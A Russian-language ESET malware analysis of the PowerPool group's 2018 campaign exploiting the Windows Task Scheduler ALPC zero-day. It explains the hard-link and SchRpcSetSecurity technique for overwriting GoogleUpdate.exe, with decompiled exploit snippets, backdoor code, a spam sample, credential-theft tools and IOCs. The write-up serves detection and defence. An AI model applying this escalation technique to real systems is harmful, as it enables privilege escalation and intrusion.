АНТИВИРУСНАЯ ЗАЩИТА БИЗНЕС-КЛАССА

Кибергруппа PowerPool освоила уязвимость нулевого дня в Advanced Local Procedure Call

7 сентября 2018 года

27 августа 2018 года в твиттере ИБ-специалиста с ником SandboxEscaper была опубликована информация об уязвимости нулевого дня. Уязвимость затрагивает версии Microsoft Windows с 7 по 10, точнее, интерфейс Advanced Local Procedure Call (ALPC) в Планировщике заданий Windows. Она обеспечивает локальное повышение привилегий (Local Privilege Escalation), что позволяет атакующему повысить права вредоносного кода от уровня User до SYSTEM. О скоординированном раскрытии уязвимости речь не идет – аккаунт SandboxEscaper вскоре удалили, закрывающие патчи отсутствовали.

Ссылка из твита вела в репозиторий GitHub с Proof-of-Concept кодом эксплойта – не только скомпилированной версией, но и исходным кодом. Следовательно, любой желающий мог модифицировать и перекомпилировать эксплойт, чтобы улучшить его, избежать обнаружения или включить в собственный код.

В общем, неудивительно, что всего через два дня эксплойт появился in the wild в кампании кибергруппы PowerPool. По данным телеметрии ESET, в числе целевых стран атакующих – Россия, Украина, Польша, Германия, Великобритания, США, Индия, Филиппины, Чили. Жертв сравнительно немного, что может указывать на высокую таргетированность кампании.

Инструментарий PowerPool

ESET зафиксировала новую группу сравнительно недавно, тем не менее, в распоряжении хакеров PowerPool довольно широкий спектр инструментов. Далее кратко рассмотрим некоторые из них.

Эксплойт локального повышения привилегий в ALPC

Разработчики PowerPool не использовали бинарный файл, опубликованный SandboxEscaper, – они несколько изменили исходный код и перекомпилировали его. Эксплойт также был отмечен исследователями безопасности и группами CERT.

```
//************************************************************//
// Windows LPE - Non-admin/Guest to system - by SandboxEscaper   //
//************************************************************//

/* _SchRpcSetSecurity which is part of the task scheduler ALPC endpoint allows us to set an arbitrary DACL.
It will Set the security of a file in c:\windows\tasks without impersonating, a non-admin (works from Guest too) user can write here.
Before the task scheduler writes the DACL we can create a hard link to any file we have read access over.
This will result in an arbitrary DACL write.
This PoC will overwrite a printer related dll and use it as a hijacking vector. This is ofcourse one of many options to abuse this.*/
```

Рисунок 1. Авторское описание эксплойта

Брешь – в функции API `SchRpcSetSecurity`, которая не проверяет корректно права пользователя. Таким образом, пользователь может записывать любой файл в `C:\Windows\Task`, вне зависимости от фактических разрешений – при наличии разрешения на чтение возможно заменить содержимое защищенного от записи файла.

Любой пользователь может записывать файлы в `C:\Windows\Task`, поэтому в этой папке можно создать файл, являющийся жесткой ссылкой на любой *целевой* файл. Затем, вызывая функцию `SchRpcSetSecurity`, можно получить доступ на запись этого целевого файла. Чтобы обеспечить локальное повышение привилегий, атакующему нужно выбрать целевой файл, который будет перезаписан – важно, чтобы этот файл выполнялся автоматически с правами администратора. Как вариант, это может быть системный файл или утилита для обновления ранее установленного ПО, которая выполняется регулярно. Последний шаг – замена содержимого целевого файла вредоносным кодом. Таким образом, при следующем автоматическом выполнении малварь будет обладать правами администратора вне зависимости от первоначальных прав.

Разработчики PowerPool решили изменить содержимое файла `C:\Program Files (x86)\Google\Update\GoogleUpdate.exe`. Это легитимный апдейтер для приложений Google, он регулярно выполняется с правами администратора посредством задачи Microsoft Windows.

```
qmemcpy(&google_update_path, L"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe", 0x6Cui64);
memset(&v5, 0, 0x19Cui64);
Hardlink::_CreateNativeHardlink((__int64)L"c:\\windows\\tasks\\UpdateTask.job", (__int64)&google_update_path);
F_to_RunExploit();
```

Рисунок 2. Создание жесткой ссылки на Google Updater

```
v4 = CreateBindingHandle((__int64)&v3);
SchRpcCreateFolder(
  v3,
  (__int64)L"UpdateTask",
  (__int64)L"D:(A;;FA;;;BA)(A;OICIIO;GA;;;BA)(A;;FA;;;SY)(A;OICIIO;GA;;;SY)(A;;0x1301bf;;;AU)(A;OICIIO;SDGXGWGR;;;AU)(A;"
           ";0x1200a9;;;BU)(A;OICIIO;GXGR;;;BU)",
  0i64);
SchRpcSetSecurity(
  v3,
  (__int64)L"UpdateTask",
  (__int64)L"D:(A;;FA;;;BA)(A;OICIIO;GA;;;BA)(A;;FA;;;SY)(A;OICIIO;GA;;;SY)(A;;0x1301bf;;;AU)(A;OICIIO;SDGXGWGR;;;AU)(A;"
           ";0x1200a9;;;BU)(A;OICIIO;GXGR;;;BU)",
  0i64);
```

Рисунок 3. Использование SchRpcCreateFolder для смены разрешений исполняемого файла Google Updater

Последовательность операций на рисунке выше позволяет операторам PowerPool получить права на запись исполняемого файла `GoogleUpdate.exe`. Затем они перезаписывают его, заменяя копией своего вредоносного ПО второго этапа (опишем ниже), чтобы получить права администратора при следующем вызове апдейтера.

Начальная компрометация

Группа PowerPool использует разные методы для первоначальной компрометации жертвы. Один из них – спам-рассылка с вредоносным ПО первого этапа во вложении. Рано делать выводы, но пока мы наблюдали очень мало образцов в данных телеметрии, поэтому предполагаем, что получатели тщательно выбраны и о массовой рассылке речь не идет.

С другой стороны, мы знаем, что в прошлом PowerPool уже практиковали спам-рассылки. Согласно посту в блоге SANS, опубликованному в мае 2018 года, они использовали для распространения вредоносных программ схему с файлами Symbolic Link (.slk). Microsoft Excel может загрузить эти файлы, которые обновляют ячейку, и заставить Excel выполнять код PowerShell. Похоже, что эти .slk-файлы тоже распространяются в спам-сообщениях. На основе первого файла, упомянутого в посте SANS (SHA-1: b2dc703d3af1d015f4d53b6dbbeb624f5ade5553), можно найти на VirusTotal соответствующий образец спама (SHA-1: e0882e234cba94b5cf3df2c05949e2e228bedd2b):

```
Received: from 71.177.222.4 by s214a.ik2.com (IK2 SMTP Server); Mon, 21 May 2018 01:26:45 +0000
Received: from TCXSERVE ([127.0.0.1]) by TCXSERVE with Microsoft SMTPSVC(7.0.6002.18264);
         Sun, 20 May 2018 18:25:32 -0700
From: "Gabriel" <b38094e38@def86.ca>
Subject: Invoice 287718 unpaid
To: "domains" <e4e46de@220e63.com>
Content-Type: multipart/mixed; boundary="smOkAqnCHdKkRalmHnuTyThAW2L1av=_1K"
MIME-Version: 1.0
Date: Sun, 20 May 2018 18:25:32 -0700
Message-ID: <TCXSERVEFM03a5sqMaS000016dd@TCXSERVE>
X-OriginalArrivalTime: 21 May 2018 01:25:32.0222 (UTC) FILETIME=[9C576DE0:01D3F0A2]
X-SF-RX-Return-Path: <b38094e38@def86.ca>
X-SF-HELO-Domain: TCXSERVE
X-SF-Originating-IP: 71.177.222.4
X-Rejection-Reason: 12 - 521 The IP 71.177.222.4 is Blacklisted by zen.ik2. ttps://www.spamhaus.org/sbl/query/SBLCSS ---  ---

This is a multi-part message in MIME format

--smOkAqnCHdKkRalmHnuTyThAW2L1av=_1K
Content-Type: multipart/alternative;
        boundary="4RsdsodQXqZzpNJLJaAF5KMTXqCy=_ZH1Z"

--4RsdsodQXqZzpNJLJaAF5KMTXqCy=_ZH1Z
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

=EF=BB=BF=20
You have not settled this Invoice
=20
Regards.


--4RsdsodQXqZzpNJLJaAF5KMTXqCy=_ZH1Z
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

=EF=BB=BF<HTML><HEAD></HEAD>
<BODY>
<P> </P>
<P>You have not settled this Invoice</P>
<P> </P>
<P>Regards.</P></BODY></HTML>


--4RsdsodQXqZzpNJLJaAF5KMTXqCy=_ZH1Z--

--smOkAqnCHdKkRalmHnuTyThAW2L1av=_1K
Content-Type: application/octet-stream;
        name="Payment_Invoice#287718.slk"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
        filename="Payment_Invoice#287718.slk"
```

Рисунок 4. Спам PowerPool

Бэкдоры Windows

Группа PowerPool как правило работает с двумя бэкдорами: бэкдор первого этапа используется после первоначальной компрометации, бэкдор второго этапа внедряется только на интересующих машинах.

Бэкдор первого этапа

Это базовое вредоносное ПО, которое используется для разведки. Состоит из двух исполняемых файлов Windows.

Первый из них – основной бэкдор, обеспечивающий персистентность посредством службы. Он также создает мьютекс под названием `MyDemonMutex%d`, где `%d` находится в диапазоне от 0 до 10. Бэкдор собирает информацию о прокси, адрес C&C сервера жестко закодирован в бинарном файле. Малварь может выполнять команды и производить базовую разведку в системе, передавая данные на C&C сервер.

```
v11 = WinHttpGetIEProxyConfigForCurrentUser(&pProxyConfig);
if ( v11 )
{
  if ( pProxyConfig.lpszProxy )
  {
    v3.lpszProxy = pProxyConfig.lpszProxy;
    v3.dwAccessType = 3;
    v3.lpszProxyBypass = 0;
  }
  else if ( pProxyConfig.lpszAutoConfigUrl )
  {
    pAutoProxyOptions.dwFlags = 2;
    pAutoProxyOptions.lpszAutoConfigUrl = pProxyConfig.lpszAutoConfigUrl;
    pAutoProxyOptions.dwAutoDetectFlags = 0;
    pAutoProxyOptions.fAutoLogonIfChallenged = 1;
    pAutoProxyOptions.lpvReserved = 0;
    pAutoProxyOptions.dwReserved = 0;
    if ( WinHttpGetProxyForUrl(hSession, bing_dot_com, &pAutoProxyOptions, &pProxyInfo) )
      v3 = pProxyInfo;
    else
      (v6)(-1);
  }
```

Рисунок 5. Сбор информации о прокси

Второй из исполняемых файлов имеет одно назначение. Он делает скриншот и записывает его в файл `MyScreen.jpg`, который затем может быть эксфильтрован основным бэкдором.

Бэкдор второго этапа

Малварь загружается в ходе первого этапа, предположительно в том случае, если машина покажется интересной операторам. Тем не менее, программа не похожа на современный APT-бэкдор.

Адрес C&C сервера жестко закодирован в двоичном формате, механизма обновления этого важного элемента конфигурации не предусмотрено. Бэкдор ищет команды от `http://[C&C domain]/cmdpool` и загружает дополнительные файлы с `http://[C&C domain]/upload`. Дополнительные файлы преимущественно являются инструментами для горизонтального перемещения, упомянутыми ниже.

Поддерживаемые команды:
— выполнить команду
— завершить процесс
— отправить файл
— скачать файл
— просмотреть содержимое папки

Команды отправляются в формате JSON. Примеры ниже – запросы на выполнение команд и перечисление папок:

```
{"dos":{"cmd":"arp -a"}}

{"folder":{"path":"C:\\Users\\[redacted]\\AppData\\Local\\*.*"}}
```

Рисунок 6. Примеры команд бэкдора

Инструменты для горизонтального перемещения

Обеспечив постоянный доступ к системе с помощью бэкдора второго этапа, операторы PowerPool используют несколько инструментов с открытым исходным кодом, написанные преимущественно на PowerShell, для горизонтального перемещения в сети.

— PowerDump: модуль Metasploit, который может извлекать имена пользователей и хеши из Диспетчера учетных записей безопасности (Security Account Manager).
— PowerSploit: коллекция модулей PowerShell, а-ля Metasploit.
— SMBExec: инструмент PowerShell для выполнения атак pass-the-hash с использованием протокола SMB.
— Quarks PwDump: исполняемый файл Windows, который может извлекать учетные данные.
— FireMaster: исполняемый файл Windows, который может извлекать сохраненные пароли из Outlook, веб-браузеров и др.

Вывод

Раскрытие информации об уязвимостях до выхода обновлений ставит под угрозу пользователей. В данном случае может быть скомпрометирована даже новейшая версия Windows. CERT-CC предлагаетвременное решение проблемы, которое, однако, не было официально согласовано Microsoft.

Атака PowerPool нацелена на ограниченное число пользователей. Тем не менее, инцидент показывает, что злоумышленники всегда в курсе событий и оперативно внедряют новые эксплойты.

Специалисты ESET продолжают отслеживать эксплуатацию новой уязвимости. Индикаторы компрометации доступны также на GitHub.

Индикаторы компрометации

Хеши

Бэкдор первого этапа (Win32/Agent.SZS) 038f75dcf1e5277565c68d57fa1f4f7b3005f3f3
Бэкдор первого этапа (Win32/Agent.TCH) 247b542af23ad9c63697428c7b77348681aadc9a
Бэкдор второго этапа (Win32/Agent.TIA) 0423672fe9201c325e33f296595fb70dcd81bcd9
Бэкдор второго этапа (Win32/Agent.TIA) b4ec4837d07ff64e34947296e73732171d1c1586
LPE-эксплойт ALPC (Win64/Exploit.Agent.H) 9dc173d4d4f74765b5fc1e1c9a2d188d5387beea

Детектирование продуктами ESET

— Win32/Agent.SZS
— Win32/Agent.TCH
— Win32/Agent.TEL
— Win32/Agent.THT
— Win32/Agent.TDK
— Win32/Agent.TIA
— Win32/Agent.TID

C&C серверы

— newsrental[.]net
— rosbusiness[.]eu
— afishaonline[.]eu
— sports-collectors[.]com
— 27.102.106[.]149